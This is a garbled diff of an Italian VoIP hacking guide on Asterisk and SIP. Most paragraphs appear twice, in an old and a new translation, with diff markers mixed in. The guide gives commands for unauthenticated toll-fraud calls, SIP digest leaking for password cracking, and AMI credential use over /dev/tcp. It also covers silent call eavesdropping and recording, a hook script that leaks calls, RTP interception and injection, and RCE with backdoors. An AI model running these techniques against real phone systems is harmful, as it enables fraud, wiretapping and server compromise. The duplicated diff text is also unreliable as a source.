Non solo le credenziali SIP possono essere trovate nel traffico di rete, è anche possibile trovare i codici DTMF che vengono utilizzati ad esempio per accedere alla segreteria telefonica.\
|
||||
È possibile inviare questi codici tramite messaggi SIP INFO, tramite audio o all'interno dei pacchetti RTP. Se i codici sono all'interno dei pacchetti RTP, è possibile tagliare quella parte della conversazione e utilizzare lo strumento multimo per estrarli:
|
||||
**Non solo le credenziali SIP** possono essere trovate nel traffico di rete, è anche possibile trovare i codici DTMF che vengono utilizzati ad esempio per accedere alla **segreteria telefonica**.\
|
||||
È possibile inviare questi codici nei messaggi **INFO SIP**, in **audio** o all'interno dei **pacchetti RTP**. Se i codici sono all'interno dei pacchetti RTP, potresti tagliare quella parte della conversazione e utilizzare lo strumento multimo per estrarli:
|
||||
```bash
|
||||
multimon -a DTMF -t wac pin.wav
|
||||
```
|
||||
### Chiamate gratuite / Configurazioni errate delle connessioni Asterisk
|
||||
### Chiamate gratuite / Configurazioni errate delle connessioni di Asterisk
|
||||
|
||||
In Asterisk è possibile consentire una connessione **da un indirizzo IP specifico** o da **qualsiasi indirizzo IP**:
|
||||
```
|
||||
host=10.10.10.10
|
||||
host=dynamic
|
||||
```
|
||||
Se viene specificato un indirizzo IP, l'host **non dovrà inviare richieste REGISTER** di tanto in tanto (nel pacchetto REGISTER viene inviato il tempo di vita, di solito 30 minuti, il che significa che in altri scenari il telefono dovrà effettuare una registrazione ogni 30 minuti). Tuttavia, sarà necessario avere porte aperte che consentano connessioni dal server VoIP per effettuare chiamate.
|
||||
Se viene specificato un indirizzo IP, l'host **non dovrà inviare richieste di REGISTRAZIONE** di tanto in tanto (nel pacchetto di REGISTRAZIONE viene inviato il tempo di vita, di solito 30 minuti, il che significa che in un altro scenario il telefono dovrà REGISTRARSI ogni 30 minuti). Tuttavia, sarà necessario avere porte aperte che consentano connessioni dal server VoIP per ricevere chiamate.
|
||||
|
||||
Per definire gli utenti possono essere definiti come:
|
||||
|
||||
* **`type=user`**: L'utente può solo ricevere chiamate come utente.
|
||||
* **`type=friend`**: È possibile effettuare chiamate come peer e riceverle come utente (usato con le estensioni)
|
||||
* **`type=peer`**: È possibile inviare e ricevere chiamate come peer (SIP-trunks)
|
||||
* **`type=peer`**: È possibile inviare e ricevere chiamate come peer (trunk SIP)
|
||||
|
||||
È anche possibile stabilire una fiducia con la variabile non sicura:
|
||||
È anche possibile stabilire la fiducia con la variabile non sicura:
|
||||
|
||||
* **`insecure=port`**: Consente connessioni peer validate dall'IP.
|
||||
* **`insecure=invite`**: Non richiede autenticazione per i messaggi INVITE
|
||||
* **`insecure=port,invite`**: Entrambi
|
||||
|
||||
{% hint style="warning" %}
|
||||
Quando viene utilizzato **`type=friend`**, il **valore** della variabile **host** **non verrà utilizzato**, quindi se un amministratore **configura erroneamente un SIP-trunk** utilizzando quel valore, **chiunque potrà connettersi ad esso**.
|
||||
Quando viene utilizzato **`type=friend`**, il **valore** della variabile **host** **non verrà utilizzato**, quindi se un amministratore **configura erroneamente un trunk SIP** utilizzando quel valore, **chiunque potrà connettersi ad esso**.
|
||||
|
||||
Ad esempio, questa configurazione sarebbe vulnerabile:\
|
||||
`host=10.10.10.10`\
|
||||
|
@ -241,24 +366,24 @@ Ad esempio, questa configurazione sarebbe vulnerabile:\
|
|||
`type=friend`
|
||||
{% endhint %}
|
||||
|
||||
### Chiamate gratuite / Misconfigurazioni del contesto di Asterisk
|
||||
### Chiamate Gratuite / Configurazioni Errate del Contesto di Asterisk
|
||||
|
||||
In Asterisk un **contesto** è un contenitore o una sezione denominata nel piano di chiamata che **raggruppa estensioni, azioni e regole correlate**. Il piano di chiamata è il componente principale di un sistema Asterisk, poiché definisce **come vengono gestite e instradate le chiamate in entrata e in uscita**. I contesti vengono utilizzati per organizzare il piano di chiamata, gestire il controllo degli accessi e fornire una separazione tra le diverse parti del sistema.
|
||||
In Asterisk un **contesto** è un contenitore o sezione denominato nel piano di chiamata che **raggruppa estensioni, azioni e regole correlate**. Il piano di chiamata è il componente principale di un sistema Asterisk, poiché definisce **come vengono gestite e instradate le chiamate in entrata e in uscita**. I contesti vengono utilizzati per organizzare il piano di chiamata, gestire il controllo degli accessi e fornire separazione tra diverse parti del sistema.
|
||||
|
||||
Ogni contesto è definito nel file di configurazione, di solito nel file **`extensions.conf`**. I contesti sono indicati da parentesi quadre, con il nome del contesto racchiuso al loro interno. Ad esempio:
|
||||
Ogni contesto è definito nel file di configurazione, tipicamente nel file **`extensions.conf`**. I contesti sono indicati da parentesi quadre, con il nome del contesto racchiuso al loro interno. Ad esempio:
|
||||
```bash
|
||||
csharpCopy code[my_context]
|
||||
```
|
||||
All'interno del contesto, si definiscono le estensioni (modelli di numeri chiamati) e si associano a una serie di azioni o applicazioni. Queste azioni determinano come viene elaborata la chiamata. Ad esempio:
|
||||
All'interno del contesto, si definiscono le estensioni (pattern di numeri chiamati) e le si associamo a una serie di azioni o applicazioni. Queste azioni determinano come la chiamata viene elaborata. Ad esempio:
|
||||
```scss
|
||||
[my_context]
|
||||
exten => 100,1,Answer()
|
||||
exten => 100,n,Playback(welcome)
|
||||
exten => 100,n,Hangup()
|
||||
```
|
||||
Questo esempio mostra un semplice contesto chiamato "my\_context" con un'estensione "100". Quando qualcuno compone il numero 100, la chiamata verrà risposta, verrà riprodotto un messaggio di benvenuto e quindi la chiamata verrà terminata.
|
||||
Questo esempio dimostra un semplice contesto chiamato "my\_context" con un'estensione "100". Quando qualcuno compone 100, la chiamata verrà risposta, verrà riprodotto un messaggio di benvenuto e poi la chiamata verrà terminata.
|
||||
|
||||
Questo è **un altro contesto** che consente di **chiamare qualsiasi altro numero**:
|
||||
Questo è **un altro contesto** che permette di **chiamare qualsiasi altro numero**:
|
||||
```scss
|
||||
[external]
|
||||
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
|
||||
|
@ -270,40 +395,40 @@ include => my_context
|
|||
include => external
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Chiunque sarà in grado di utilizzare il **server per chiamare qualsiasi altro numero** (e l'amministratore del server pagherà per la chiamata).
|
||||
Chiunque potrà utilizzare il **server per chiamare qualsiasi altro numero** (e l'amministratore del server pagherà la chiamata).
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
Inoltre, per impostazione predefinita il file **`sip.conf`** contiene **`allowguest=true`**, quindi **qualsiasi** attaccante **senza autenticazione** sarà in grado di chiamare qualsiasi altro numero.
|
||||
Inoltre, per impostazione predefinita il file **`sip.conf`** contiene **`allowguest=true`**, quindi **qualsiasi** attaccante **senza autenticazione** potrà chiamare qualsiasi altro numero.
|
||||
{% endhint %}
|
||||
|
||||
* **`sipinvite.py`** da [**sippts**](https://github.com/Pepelux/sippts)**:** Sipinvite verifica se un server PBX ci consente di effettuare chiamate senza autenticazione. Se il server SIP ha una configurazione errata, ci permetterà di effettuare chiamate a numeri esterni. Può anche consentirci di trasferire la chiamata a un secondo numero esterno.
|
||||
* **`SIPPTS invite`** da [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite controlla se un **server PBX ci consente di effettuare chiamate senza autenticazione**. Se il server SIP ha una configurazione errata, ci permetterà di effettuare chiamate a numeri esterni. Può anche consentirci di trasferire la chiamata a un secondo numero esterno.
|
||||
|
||||
Ad esempio, se il tuo server Asterisk ha una cattiva configurazione del contesto, puoi accettare richieste INVITE senza autorizzazione. In questo caso, un attaccante può effettuare chiamate senza conoscere alcun utente/password.
|
||||
Ad esempio, se il tuo server Asterisk ha una cattiva configurazione del contesto, potresti accettare la richiesta INVITE senza autorizzazione. In questo caso, un attaccante potrebbe effettuare chiamate senza conoscere alcun utente/password.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Trying to make a call to the number 555555555 (without auth) with source number 200.
|
||||
python3 sipinvite.py -i 10.10.0.10 -fu 200 -tu 555555555 -v
|
||||
sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v
|
||||
|
||||
# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
|
||||
python3 sipinvite.py -i 10.10.0.10 -tu 555555555 -t 444444444
|
||||
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Chiamate gratuite / IVRS non configurato correttamente
|
||||
|
||||
IVRS sta per **Interactive Voice Response System**, una tecnologia telefonica che consente agli utenti di interagire con un sistema computerizzato tramite comandi vocali o tasti. L'IVRS viene utilizzato per creare sistemi di gestione delle chiamate automatizzati che offrono una serie di funzionalità, come fornire informazioni, instradare le chiamate e acquisire l'input dell'utente.
|
||||
IVRS sta per **Interactive Voice Response System**, una tecnologia telefonica che consente agli utenti di interagire con un sistema computerizzato tramite comandi vocali o tastiera. IVRS viene utilizzato per creare sistemi di gestione delle chiamate automatizzati che offrono una serie di funzionalità, come fornire informazioni, instradare chiamate e acquisire input degli utenti.
|
||||
|
||||
L'IVRS nei sistemi VoIP è tipicamente composto da:
|
||||
IVRS nei sistemi VoIP di solito consiste in:
|
||||
|
||||
1. **Prompts vocali**: Messaggi audio preregistrati che guidano gli utenti attraverso le opzioni del menu IVR e le istruzioni.
|
||||
2. **Segnalazione DTMF** (Dual-Tone Multi-Frequency): Input a toni multipli generati premendo i tasti sul telefono, utilizzati per navigare attraverso i menu IVR e fornire input.
|
||||
1. **Promemoria vocali**: Messaggi audio preregistrati che guidano gli utenti attraverso le opzioni e le istruzioni del menu IVR.
|
||||
2. **DTMF** (Dual-Tone Multi-Frequency) signaling: Input a toni multipli generati premendo i tasti sul telefono, che vengono utilizzati per navigare attraverso i menu IVR e fornire input.
|
||||
3. **Instradamento delle chiamate**: Indirizzare le chiamate alla destinazione appropriata, come dipartimenti specifici, agenti o estensioni in base all'input dell'utente.
|
||||
4. **Acquisizione dell'input dell'utente**: Raccogliere informazioni dagli chiamanti, come numeri di conto, ID dei casi o qualsiasi altro dato rilevante.
|
||||
4. **Acquisizione di input utente**: Raccogliere informazioni dagli chiamanti, come numeri di conto, ID caso o altri dati rilevanti.
|
||||
5. **Integrazione con sistemi esterni**: Collegare il sistema IVR a database o altri sistemi software per accedere o aggiornare informazioni, eseguire azioni o attivare eventi.
|
||||
|
||||
In un sistema VoIP Asterisk, è possibile creare un IVR utilizzando il piano di chiamata (file **`extensions.conf`**) e varie applicazioni come `Background()`, `Playback()`, `Read()`, e altre ancora. Queste applicazioni ti aiutano a riprodurre i prompt vocali, acquisire l'input dell'utente e controllare il flusso della chiamata.
|
||||
In un sistema VoIP Asterisk, è possibile creare un IVR utilizzando il piano di chiamata (file **`extensions.conf`**) e varie applicazioni come `Background()`, `Playback()`, `Read()`, e altro ancora. Queste applicazioni ti aiutano a riprodurre promemoria vocali, acquisire input utente e controllare il flusso della chiamata.
|
||||
|
||||
#### Esempio di configurazione vulnerabile
|
||||
```scss
|
||||
|
@ -313,42 +438,42 @@ exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
|
|||
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
|
||||
exten => 0,104,Dial(LOCAL/${numbers})
|
||||
```
|
||||
Il precedente è un esempio in cui all'utente viene chiesto di **premere 1 per chiamare** un dipartimento, **2 per chiamare** un altro, o **l'estensione completa** se la conosce.
|
||||
La vulnerabilità risiede nel fatto che la **lunghezza dell'estensione non viene controllata**, quindi un utente potrebbe inserire un numero completo durante il timeout di 5 secondi e verrà chiamato.
|
||||
Il precedente è un esempio in cui all'utente viene chiesto di **premere 1 per chiamare** un dipartimento, **2 per chiamare** un altro, o **inserire l'estensione completa** se la conosce.\
|
||||
La vulnerabilità risiede nel fatto che la **lunghezza dell'estensione indicata non viene verificata, quindi un utente potrebbe inserire un numero completo durante il timeout di 5 secondi e verrà chiamato.**
|
||||
|
||||
### Iniezione di estensione
|
||||
### Iniezione di Estensione
|
||||
|
||||
Utilizzando un'estensione come:
|
||||
```scss
|
||||
exten => _X.,1,Dial(SIP/${EXTEN})
|
||||
```
|
||||
Dove **`${EXTEN}`** è l'**estensione** che verrà chiamata, quando viene inserito l'**ext 101** ecco cosa succederebbe:
|
||||
Dove **`${EXTEN}`** è l'**estensione** che verrà chiamata, quando viene inserita l'**ext 101** questo è ciò che accadrebbe:
|
||||
```scss
|
||||
exten => 101,1,Dial(SIP/101)
|
||||
```
|
||||
Tuttavia, se **`${EXTEN}`** consente di introdurre **più di numeri** (come nelle versioni precedenti di Asterisk), un attaccante potrebbe introdurre **`101&SIP123123123`** per chiamare il numero di telefono 123123123. E questo sarebbe il risultato:
|
||||
Tuttavia, se **`${EXTEN}`** consente di inserire **più di numeri** (come nelle versioni precedenti di Asterisk), un attaccante potrebbe inserire **`101&SIP123123123`** per chiamare il numero di telefono 123123123. E questo sarebbe il risultato:
|
||||
```scss
|
||||
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
|
||||
```
|
||||
Quindi, una chiamata all'estensione **`101`** e **`123123123`** verrà inviata e solo la prima che risponde alla chiamata verrà stabilita... ma se un attaccante utilizza un'estensione che bypassa qualsiasi corrispondenza che viene eseguita ma non esiste, potrebbe **iniettare una chiamata solo al numero desiderato**.
|
||||
Pertanto, una chiamata all'estensione **`101`** e **`123123123`** verrà inviata e solo la prima che risponde alla chiamata verrà stabilita... ma se un attaccante utilizza un'**estensione che aggira qualsiasi corrispondenza** che viene eseguita ma non esiste, potrebbe **iniettare una chiamata solo al numero desiderato**.
|
||||
|
||||
## SIPDigestLeak
|
||||
## Vulnerabilità SIPDigestLeak
|
||||
|
||||
Il SIP Digest Leak è una vulnerabilità che colpisce un gran numero di telefoni SIP, inclusi sia telefoni IP hardware che software, nonché adattatori telefonici (VoIP per analogico). La vulnerabilità consente la **divulgazione della risposta di autenticazione Digest**, che viene calcolata dalla password. È quindi possibile un **attacco offline alla password** che può recuperare la maggior parte delle password basate sulla risposta alla sfida.
|
||||
Il SIP Digest Leak è una vulnerabilità che colpisce un gran numero di telefoni SIP, inclusi sia telefoni IP hardware che software, nonché adattatori telefonici (VoIP ad analogico). La vulnerabilità consente il **lecchino della risposta di autenticazione Digest**, che viene calcolata dalla password. È quindi possibile un **attacco offline alla password** e può recuperare la maggior parte delle password basate sulla risposta alla sfida.
|
||||
|
||||
**[Scenario di vulnerabilità da qui**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
|
||||
|
||||
1. Un telefono IP (vittima) è in ascolto sulla porta 5060, accettando chiamate telefoniche
|
||||
1. Un telefono IP (vittima) è in ascolto su qualsiasi porta (ad esempio: 5060), accettando chiamate telefoniche
|
||||
2. L'attaccante invia un INVITE al telefono IP
|
||||
3. Il telefono della vittima inizia a squillare e qualcuno risponde e riaggancia (perché nessuno risponde all'altro capo del telefono)
|
||||
3. Il telefono della vittima inizia a squillare e qualcuno risponde e riaggancia (perché nessuno risponde al telefono dall'altro capo)
|
||||
4. Quando il telefono viene riagganciato, il **telefono della vittima invia un BYE all'attaccante**
|
||||
5. L'attaccante emette una risposta **407 che richiede l'autenticazione** e emette una sfida di autenticazione
|
||||
5. L'**attaccante emette una risposta 407** che **richiede l'autenticazione** ed emette una sfida di autenticazione
|
||||
6. Il **telefono della vittima fornisce una risposta alla sfida di autenticazione** in un secondo BYE
|
||||
7. L'attaccante può quindi effettuare un attacco di forza bruta sulla risposta alla sfida sul suo computer locale (o rete distribuita, ecc.) e indovinare la password
|
||||
7. L'**attaccante può quindi eseguire un attacco di forza bruta** sulla risposta alla sfida sul suo computer locale (o rete distribuita, ecc.) e indovinare la password
|
||||
|
||||
* **sipdigestleak.py** da [**sippts**](https://github.com/Pepelux/sippts)**:** SipDigestLeak sfrutta questa vulnerabilità.
|
||||
* **SIPPTS leak** da [**sippts**](https://github.com/Pepelux/sippts)**:** Il leak di SIPPTS sfrutta la vulnerabilità di SIP Digest Leak che colpisce un gran numero di telefoni SIP. L'output può essere salvato in formato SipCrack per forzarlo utilizzando SIPPTS dcrack o lo strumento SipCrack.
|
||||
```bash
|
||||
python3 sipdigestleak.py -i 10.10.0.10
|
||||
sippts leak -i 10.10.0.10
|
||||
|
||||
[!] Target: 10.10.0.10:5060/UDP
|
||||
[!] Caller: 100
|
||||
|
@ -369,9 +494,9 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100
|
|||
```
|
||||
### Click2Call
|
||||
|
||||
Click2Call permette a un **utente web** (che ad esempio potrebbe essere interessato a un prodotto) di **inserire** il suo **numero di telefono** per essere chiamato. Successivamente verrà chiamato un operatore commerciale e quando l'utente **risponderà al telefono**, verrà **chiamato e connesso con l'agente**.
|
||||
Click2Call consente a un **utente web** (che ad esempio potrebbe essere interessato a un prodotto) di **inserire** il suo **numero di telefono** per essere chiamato. Successivamente verrà chiamato un operatore commerciale e quando **risponderà al telefono**, l'utente verrà **chiamato e connesso con l'agente**.
|
||||
|
||||
Un profilo Asterisk comune per questo scopo è:
|
||||
Un profilo Asterisk comune per questo è:
|
||||
```scss
|
||||
[web_user]
|
||||
secret = complex_password
|
||||
|
@ -381,12 +506,10 @@ displayconnects = yes
|
|||
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
|
||||
write = system,call,agent,user,config,command,reporting,originate
|
||||
```
|
||||
* Il profilo precedente consente a **QUALSIASI indirizzo IP di connettersi** (se la password è nota).
|
||||
* Per **organizzare una chiamata**, come specificato in precedenza, **non è necessaria alcuna autorizzazione di lettura** e **solo** l'autorizzazione di **origine in scrittura** è necessaria.
|
||||
* Il profilo precedente sta permettendo a **QUALSIASI indirizzo IP di connettersi** (se la password è nota).
|
||||
* Per **organizzare una chiamata**, come specificato in precedenza, **non è necessaria alcuna autorizzazione di lettura** e è necessario solo **originate** in **write**.
|
||||
|
||||
Con tali autorizzazioni, qualsiasi indirizzo IP che conosce la password potrebbe connettersi ed estrarre troppe informazioni, come:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Con tali autorizzazioni, qualsiasi IP che conosce la password potrebbe connettersi ed estrarre troppe informazioni, come:
|
||||
```bash
|
||||
# Get all the peers
|
||||
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
|
||||
|
@ -395,15 +518,15 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr
|
|||
|
||||
**Ulteriori informazioni o azioni potrebbero essere richieste.**
|
||||
|
||||
### **Intercettazione**
|
||||
### **Ascolto clandestino**
|
||||
|
||||
In Asterisk è possibile utilizzare il comando **`ChanSpy`** indicando l'**estensione(i) da monitorare** (o tutte) per ascoltare le conversazioni in corso. Questo comando deve essere assegnato a un'estensione.
|
||||
In Asterisk è possibile utilizzare il comando **`ChanSpy`** indicando le **estensioni da monitorare** (o tutte) per ascoltare le conversazioni in corso. Questo comando deve essere assegnato a un'estensione.
|
||||
|
||||
Ad esempio, **`exten => 333,1,ChanSpy('all',qb)`** indica che se **chiami** l'**estensione 333**, verranno **monitorate** **`tutte`** le estensioni, **inizia ad ascoltare** quando inizia una nuova conversazione (**`b`**) in modalità silenziosa (**`q`**) poiché non vogliamo interagire su di essa. Puoi passare da una conversazione all'altra premendo **`*`**, o segnando il numero dell'estensione.
|
||||
Ad esempio, **`exten => 333,1,ChanSpy('all',qb)`** indica che se **chiama** l'**estensione 333**, verranno **monitorate** **`tutte`** le estensioni, **inizia ad ascoltare** ogni volta che inizia una nuova conversazione (**`b`**) in modalità silenziosa (**`q`**) poiché non vogliamo interagire. È possibile passare da una conversazione all'altra premendo **`*`**, o selezionando il numero dell'estensione.
|
||||
|
||||
È anche possibile utilizzare **`ExtenSpy`** per monitorare una sola estensione.
|
||||
|
||||
Invece di ascoltare le conversazioni, è possibile **registrarle su file** utilizzando un'estensione come:
|
||||
Invece di ascoltare le conversazioni, è possibile **registrare** in file utilizzando un'estensione come:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```scss
|
||||
|
@ -415,37 +538,37 @@ exten => _X.,2,MixMonitor(${NAME})
|
|||
|
||||
Le chiamate verranno salvate in **`/tmp`**.
|
||||
|
||||
Potresti anche far eseguire ad Asterisk uno script che **rivelerebbe la chiamata** quando viene chiusa.
|
||||
Potresti anche far eseguire ad Asterisk uno **script che farà trapelare la chiamata** quando viene chiusa.
|
||||
```scss
|
||||
exten => h,1,System(/tmp/leak_conv.sh &)
|
||||
```
|
||||
### RTCPBleed
|
||||
### Vulnerabilità RTCPBleed
|
||||
|
||||
**RTCPBleed** è un grave problema di sicurezza che colpisce i server VoIP basati su Asterisk (pubblicato nel 2017). La vulnerabilità consente al traffico **RTP (Real Time Protocol)**, che trasporta le conversazioni VoIP, di essere **intercettato e reindirizzato da chiunque su Internet**. Questo avviene perché il traffico RTP bypassa l'autenticazione durante la navigazione attraverso i firewall NAT (Network Address Translation).
|
||||
**RTCPBleed** è un grave problema di sicurezza che colpisce i server VoIP basati su Asterisk (pubblicato nel 2017). La vulnerabilità consente al traffico **RTP (Real Time Protocol)**, che trasporta le conversazioni VoIP, di essere **intercettato e reindirizzato da chiunque su Internet**. Ciò avviene perché il traffico RTP bypassa l'autenticazione durante la navigazione attraverso i firewall NAT (Network Address Translation).
|
||||
|
||||
I proxy RTP cercano di affrontare le **limitazioni NAT** che colpiscono i sistemi RTC mediante il proxying dei flussi RTP tra due o più parti. Quando è presente un NAT, il software del proxy RTP spesso non può fare affidamento sulle informazioni IP e di porta RTP recuperate tramite segnalazione (ad esempio SIP). Pertanto, numerosi proxy RTP hanno implementato un meccanismo in cui tale **coppia IP e porta viene appresa automaticamente**. Ciò viene spesso fatto ispezionando il traffico RTP in ingresso e contrassegnando l'IP e la porta di origine per qualsiasi traffico RTP in ingresso come quelli a cui dovrebbe essere risposto. Questo meccanismo, che può essere chiamato "modalità di apprendimento", **non utilizza alcun tipo di autenticazione**. Pertanto, gli **attaccanti** possono **inviare traffico RTP al proxy RTP** e ricevere il traffico RTP proxy destinato al chiamante o al chiamato di uno stream RTP in corso. Chiamiamo questa vulnerabilità RTP Bleed perché consente agli attaccanti di ricevere flussi multimediali RTP destinati agli utenti legittimi.
|
||||
I proxy RTP cercano di affrontare le **limitazioni NAT** che influenzano i sistemi RTC proxyando i flussi RTP tra due o più parti. Quando è presente un NAT, il software del proxy RTP spesso non può fare affidamento sulle informazioni IP e di porta RTP recuperate attraverso la segnalazione (ad esempio SIP). Pertanto, diversi proxy RTP hanno implementato un meccanismo in cui tale **coppia IP e porta viene appresa automaticamente**. Questo avviene spesso ispezionando il traffico RTP in ingresso e contrassegnando l'IP e la porta di origine per qualsiasi traffico RTP in ingresso come quello a cui dovrebbe essere risposto. Questo meccanismo, che può essere chiamato "modalità di apprendimento", **non fa uso di alcun tipo di autenticazione**. Pertanto, gli **attaccanti** possono **inviare traffico RTP al proxy RTP** e ricevere il traffico RTP proxy destinato al chiamante o al chiamato di uno stream RTP in corso. Chiamiamo questa vulnerabilità RTP Bleed perché consente agli attaccanti di ricevere flussi multimediali RTP destinati a utenti legittimi.
|
||||
|
||||
Un altro comportamento interessante dei proxy RTP e delle pile RTP è che a volte, **anche se non sono vulnerabili a RTP Bleed**, accetteranno, inoltreranno e/o elaboreranno pacchetti RTP da qualsiasi origine. Pertanto, gli attaccanti possono inviare pacchetti RTP che potrebbero consentire loro di iniettare i propri media al posto di quelli legittimi. Chiamiamo questo attacco RTP injection perché consente l'iniezione di pacchetti RTP non legittimi in flussi RTP esistenti. Questa vulnerabilità può essere trovata sia nei proxy RTP che nei terminali.
|
||||
Un altro comportamento interessante dei proxy RTP e degli stack RTP è che a volte, **anche se non sono vulnerabili a RTP Bleed**, accetteranno, inoltreranno e/o elaboreranno pacchetti RTP da qualsiasi origine. Pertanto, gli attaccanti possono inviare pacchetti RTP che potrebbero consentire loro di iniettare i propri media invece di quelli legittimi. Chiamiamo questo attacco iniezione RTP perché consente l'iniezione di pacchetti RTP non legittimi nei flussi RTP esistenti. Questa vulnerabilità può essere riscontrata sia nei proxy RTP che negli endpoint.
|
||||
|
||||
Asterisk e FreePBX hanno tradizionalmente utilizzato l'impostazione **`NAT=yes`**, che consente al traffico RTP di bypassare l'autenticazione, potenzialmente causando l'assenza di audio o audio unidirezionale nelle chiamate.
|
||||
Asterisk e FreePBX hanno tradizionalmente utilizzato l'impostazione **`NAT=yes`**, che consente al traffico RTP di bypassare l'autenticazione, portando potenzialmente a nessun audio o audio unidirezionale nelle chiamate.
|
||||
|
||||
Per ulteriori informazioni, consulta [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
|
||||
Per ulteriori informazioni consulta [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
|
||||
|
||||
* **`rtpbleed.py`** da [**sippts**](https://github.com/Pepelux/sippts)**:** Rileva la vulnerabilità RTP Bleed inviando flussi RTP.
|
||||
* **`SIPPTS rtpbleed`** da [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleed rileva la vulnerabilità RTP Bleed inviando flussi RTP.
|
||||
```bash
|
||||
python3 rtpbleed.py -i 10.10.0.10
|
||||
sippts rtpbleed -i 10.10.0.10
|
||||
```
|
||||
* **`rtcpbleed.py`** da [**sippts**](https://github.com/Pepelux/sippts)**:** Rileva la vulnerabilità RTP Bleed inviando flussi RTP
|
||||
* **`SIPPTS rtcpbleed`** da [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed rileva la vulnerabilità RTP Bleed inviando flussi RTCP.
|
||||
```bash
|
||||
python3 rtcpbleed.py -i 10.10.0.10
|
||||
sippts rtcpbleed -i 10.10.0.10
|
||||
```
|
||||
* **`rtpbleedflood.py`** da [**sippts**](https://github.com/Pepelux/sippts)**:** Sfrutta la vulnerabilità RTP Bleed inviando flussi RTP
|
||||
* **`SIPPTS rtpbleedflood`** da [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood sfrutta la vulnerabilità RTP Bleed inviando flussi RTP.
|
||||
```bash
|
||||
python3 rtpbleedflood.py -i 10.10.0.10 -p 10070 -v
|
||||
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
|
||||
```
|
||||
* **`rtpbleedinject.py`** da [**sippts**](https://github.com/Pepelux/sippts)**:** Sfrutta la vulnerabilità RTP Bleed inviando flussi RTP (da un file audio)
|
||||
* **`SIPPTS rtpbleedinject`** da [**sippts**](https://github.com/Pepelux/sippts)**:** L'exploit SIPPTS rtpbleedinject sfrutta la vulnerabilità RTP Bleed iniettando un file audio (formato WAV).
|
||||
```bash
|
||||
python3 rtpbleedinject.py -i 10.10.0.10 -p 10070 -f audio.wav
|
||||
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
|
||||
```
|
||||
### RCE
|
||||
|
||||
|
@ -453,54 +576,55 @@ In Asterisk riesci in qualche modo a **aggiungere regole di estensione e ricaric
|
|||
```scss
|
||||
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
|
||||
```
|
||||
Esiste un comando chiamato **`Shell`** che può essere utilizzato **al posto di `System`** per eseguire comandi di sistema se necessario.
|
||||
Esiste un comando chiamato **`Shell`** che potrebbe essere utilizzato **al posto di `System`** per eseguire comandi di sistema se necessario.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Se il server **impedisce l'uso di determinati caratteri** nel comando **`System`** (come in Elastix), verificare se il server web consente di **creare file nel sistema** (come in Elastix o trixbox) e utilizzarlo per **creare uno script backdoor** e quindi utilizzare **`System`** per **eseguire** tale **script**.
|
||||
Se il server **vieta l'uso di certi caratteri** nel comando **`System`** (come in Elastix), controlla se il server web permette di **creare file all'interno del sistema** (come in Elastix o trixbox), e usalo per **creare uno script backdoor** e poi utilizza **`System`** per **eseguire** tale **script**.
|
||||
{% endhint %}
|
||||
|
||||
#### File locali interessanti e autorizzazioni
|
||||
#### File locali interessanti e permessi
|
||||
|
||||
* **`sip.conf`** -> Contiene la password degli utenti SIP.
|
||||
* Se il server Asterisk viene eseguito come root, è possibile compromettere il sistema root.
|
||||
* L'utente root di **mysql** potrebbe **non avere alcuna password**.
|
||||
* Questo potrebbe essere utilizzato per creare un nuovo utente mysql come backdoor.
|
||||
* Se il **server Asterisk è in esecuzione come root**, potresti compromettere il root.
|
||||
* L'utente **root di mysql** potrebbe **non avere alcuna password**.
|
||||
* questo potrebbe essere usato per creare un nuovo utente mysql come backdoor.
|
||||
* **`FreePBX`**
|
||||
* **`amportal.conf`** -> Contiene la password dell'amministratore del pannello web (FreePBX).
|
||||
* **`FreePBX.conf`** -> Contiene la password dell'utente FreePBXuser utilizzata per accedere al database.
|
||||
* Questo potrebbe essere utilizzato per creare un nuovo utente mysql come backdoor.
|
||||
* questo potrebbe essere usato per creare un nuovo utente mysql come backdoor.
|
||||
* **`Elastix`**
|
||||
* **`Elastix.conf`** -> Contiene diverse password in chiaro come la password di root di mysql, la password di IMAPd, la password dell'amministratore web.
|
||||
* **Diverse cartelle** apparterranno all'utente Asterisk compromesso (se non viene eseguito come root). Questo utente può leggere i file precedenti e controlla anche la configurazione, quindi potrebbe far caricare ad Asterisk altri binari backdoor quando vengono eseguiti.
|
||||
* **Diverse cartelle** apparterranno all'utente Asterisk compromesso (se non in esecuzione come root). Questo utente può leggere i file precedenti e controlla anche la configurazione, quindi potrebbe fare in modo che Asterisk carichi altri binari backdoor quando eseguiti.
|
||||
|
||||
### Iniezione RTP
|
||||
|
||||
È possibile inserire un file **`.wav`** nelle conversazioni utilizzando strumenti come **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) e **`rtpmixsound`** (`sudo apt install rtpmixsound`).
|
||||
